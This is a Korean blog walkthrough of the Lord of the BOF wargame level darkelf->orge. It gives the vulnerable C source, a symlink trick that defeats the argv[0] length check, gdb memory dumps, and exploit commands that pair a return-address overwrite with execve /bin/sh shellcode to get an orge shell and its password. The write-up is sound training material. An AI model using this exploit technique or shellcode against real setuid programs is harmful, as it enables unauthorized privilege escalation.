[LOB] - darkelf -> orge 풀이
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
이번 문제는 argv[0] 값의 길이가 77 이 아니면 프로그램이 종료가 된다. argv[0]의 값은 파일의 이름이 들어가는데, ./[파일이름] 이렇게 길이를 센다. 즉, ./ 를 빼고 파일이름이 75글자여야 한다. 우리는 orge 파일의 이름을 수정할 수 없어 이를 우회 할 방법이 필요하다.
이를 우회할 방법은 ln 명령어를 이용하는 것이다.
ln -s [대상파일] [저장할 이름]
여기서 주의 할 것은 링크 파일로 실행할 경우 argv[0] 값은 ./[링크파일이름] 이고(상대경로), gdb로 분석할때 파일이름은 절대경로가 argv[0]의 값이 된다. 이 점을 잘 생각해서 헷갈리지 않게 분석을 진행해야 한다.
우선 orge 바이너리를 분석하기 위해 파일을 copy 하고, 이를 링크 파일로 연결 시키겠다.
gdb로 분석 할 것이기 때문에, 위에서 말 했듯이 argv[0]의 값은 절대경로 이므로 필자의 경우 /home/darkelf/tmp/[파일이름] 이기 때문에 링크할 파일의 이름은 59글자가 되어야 한다. gdb로 실행해보니 파일이름 길이의 검사는 우회한 것을 볼 수 있다.
[darkelf@localhost tmp]$ ln -s orge_copy `python -c 'print "A"*59'`
[darkelf@localhost tmp]$ gdb -q ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) r `python -c 'print "A"*47+"\xbf"'`
Starting program: /home/darkelf/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*47+"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0xbf414141 in ?? ()
(gdb)
그 다음 argv[2]의 주소를 찾아 argv[2]에 NOP와 shellcode를 넣어 RET에 argv[2]를 overwrite 할 것이다.
main 함수를 분석하면 main+270 에서 argv[1]의 주소를 PUSH 한다. 이 주소의 주변을 보면 argv[2]의 주소를 찾을 수 있을 것이다. main+271에 breakpoint를 걸고, argv[2]의 주소를 찾기 위해 실행할때 BBBB라는 값을 넣어 실행한다.
아래의 결과를 통해 argv[2]의 주소가 0xbffffdb3인 것을 알 수 있다.
(gdb) disas main
...
0x8048606 <main+262>: mov 0xc(%ebp),%eax
0x8048609 <main+265>: add $0x4,%eax
0x804860c <main+268>: mov (%eax),%edx
0x804860e <main+270>: push %edx
0x804860f <main+271>: lea 0xffffffd8(%ebp),%eax
0x8048612 <main+274>: push %eax
0x8048613 <main+275>: call 0x8048440 <strcpy>
0x8048618 <main+280>: add $0x8,%esp
0x804861b <main+283>: lea 0xffffffd8(%ebp),%eax
...
(gdb) b *main+271
Breakpoint 1 at 0x804860f
(gdb) r `python -c 'print "A"*47+"\xbf"'` BBBB
Starting program: /home/darkelf/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*47+"\xbf"'` BBBB
Breakpoint 1, 0x804860f in main ()
(gdb) x/wx $esp
0xbffffbb8: 0xbffffd82
(gdb) x/40wx 0xbffffd82
0xbffffd82: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd92: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffda2: 0x41414141 0x41414141 0x41414141 0xbf414141
0xbffffdb2: 0x42424200 0x00000042 0x00000000 0x00000000
0xbffffdc2: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdd2: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffde2: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdf2: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe02: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe12: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
argv[2]의 주소를 찾았으니, 공격을 진행해 보겠다.
링크를 gdb가 아닌 직접 실행하면 argv[0]의 값은 상대경로이다. 즉 argv[0]의 값은 ./파일이름 이기 때문에 다른 링크 파일을 생성한다. 그 다음 실행하면 역시나 에러가 뜬다. gdb로 core 파일을 분석한다.
[darkelf@localhost tmp]$ ln -s ./orge_copy `python -c 'print "B"*75
[darkelf@localhost tmp]$ ./B(*75개) `python -c 'print "A"*44+"\xb3\xfd\xff\xbf"'` `python -c 'print -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[darkelf@localhost tmp]$ gdb -c core -q
Core was generated by `./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB A'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfffffad in ?? ()
(gdb)
스택 값을 보기 위해 x/150wx $esp 명령어를 입력하여 argv[2]의 주소의 위치를 찾는다.
아래에 \x90의 값들이 보인다. 이 중 필자는 0xbffffcf0의 주소를 RET에 overwrite하겠다.
(gdb) x/150 $esp
...
0xbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc50: 0x38366900 0x2f2e0036 0x42424242 0x42424242
0xbffffc60: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffc70: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffc80: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffc90: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffca0: 0x00424242 0x41414141 0x41414141 0x41414141
0xbffffcb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcd0: 0xbffffdb3 0x90909000 0x90909090 0x90909090
0xbffffce0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd30: 0x90909090 0x90909090 0x50c03190 0x732f2f68
0xbffffd40: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0c289
0xbffffd50: 0x000080cd 0x00000000 0x00000000 0x00000000
0xbffffd60: 0x00000000 0x00000000
(gdb)
아까 orge_copy 바이너리에 링크 걸었던 B*75의 파일에 공격을 RET 주소만 수정해서 공격을 시도해 보자.
공격에 성공했지만, 필자는 orge_copy에 링크를 걸었기 때문에 darkelf 권한으로 shell이 실행되었다.
[darkelf@localhost tmp]$ ./B*75 `python -c 'print "A"*44+"\xf0\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
darkelf
bash$
공격에 성공을 했기 때문에 실제 파일인 orge 바이너리에 파일이름이 c가 75개인 파일을 생성하여 똑같은 payload로 공격을 진행한다. 아래처럼 orge 권한으로 shell이 실행된 것을 볼 수 있다.
[darkelf@localhost tmp]$ ln -s ../orge `python -c 'print "c"*75'`
[darkelf@localhost tmp]$ ./c*75 `python -c 'print "A"*44+"\xf0\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
orge
bash$ my-pass
euid = 507
timewalker
bash$
'🚩CTF' 카테고리의 다른 글
[LOB] - troll -> vampire 풀이 (0) | 2019.10.05 |
---|---|
[LOB] - orge -> troll 풀이 (0) | 2019.10.05 |
[LOB] - wolfman -> darkelf 풀이 (0) | 2019.10.04 |
[LOB] - orc -> wolfman 풀이 (0) | 2019.10.04 |
[LOB] - goblin -> orc 풀이 (0) | 2019.10.04 |
댓글
이 글 공유하기
다른 글
-
[LOB] - troll -> vampire 풀이
[LOB] - troll -> vampire 풀이
2019.10.05 -
[LOB] - orge -> troll 풀이
[LOB] - orge -> troll 풀이
2019.10.05 -
[LOB] - wolfman -> darkelf 풀이
[LOB] - wolfman -> darkelf 풀이
2019.10.04 -
[LOB] - orc -> wolfman 풀이
[LOB] - orc -> wolfman 풀이
2019.10.04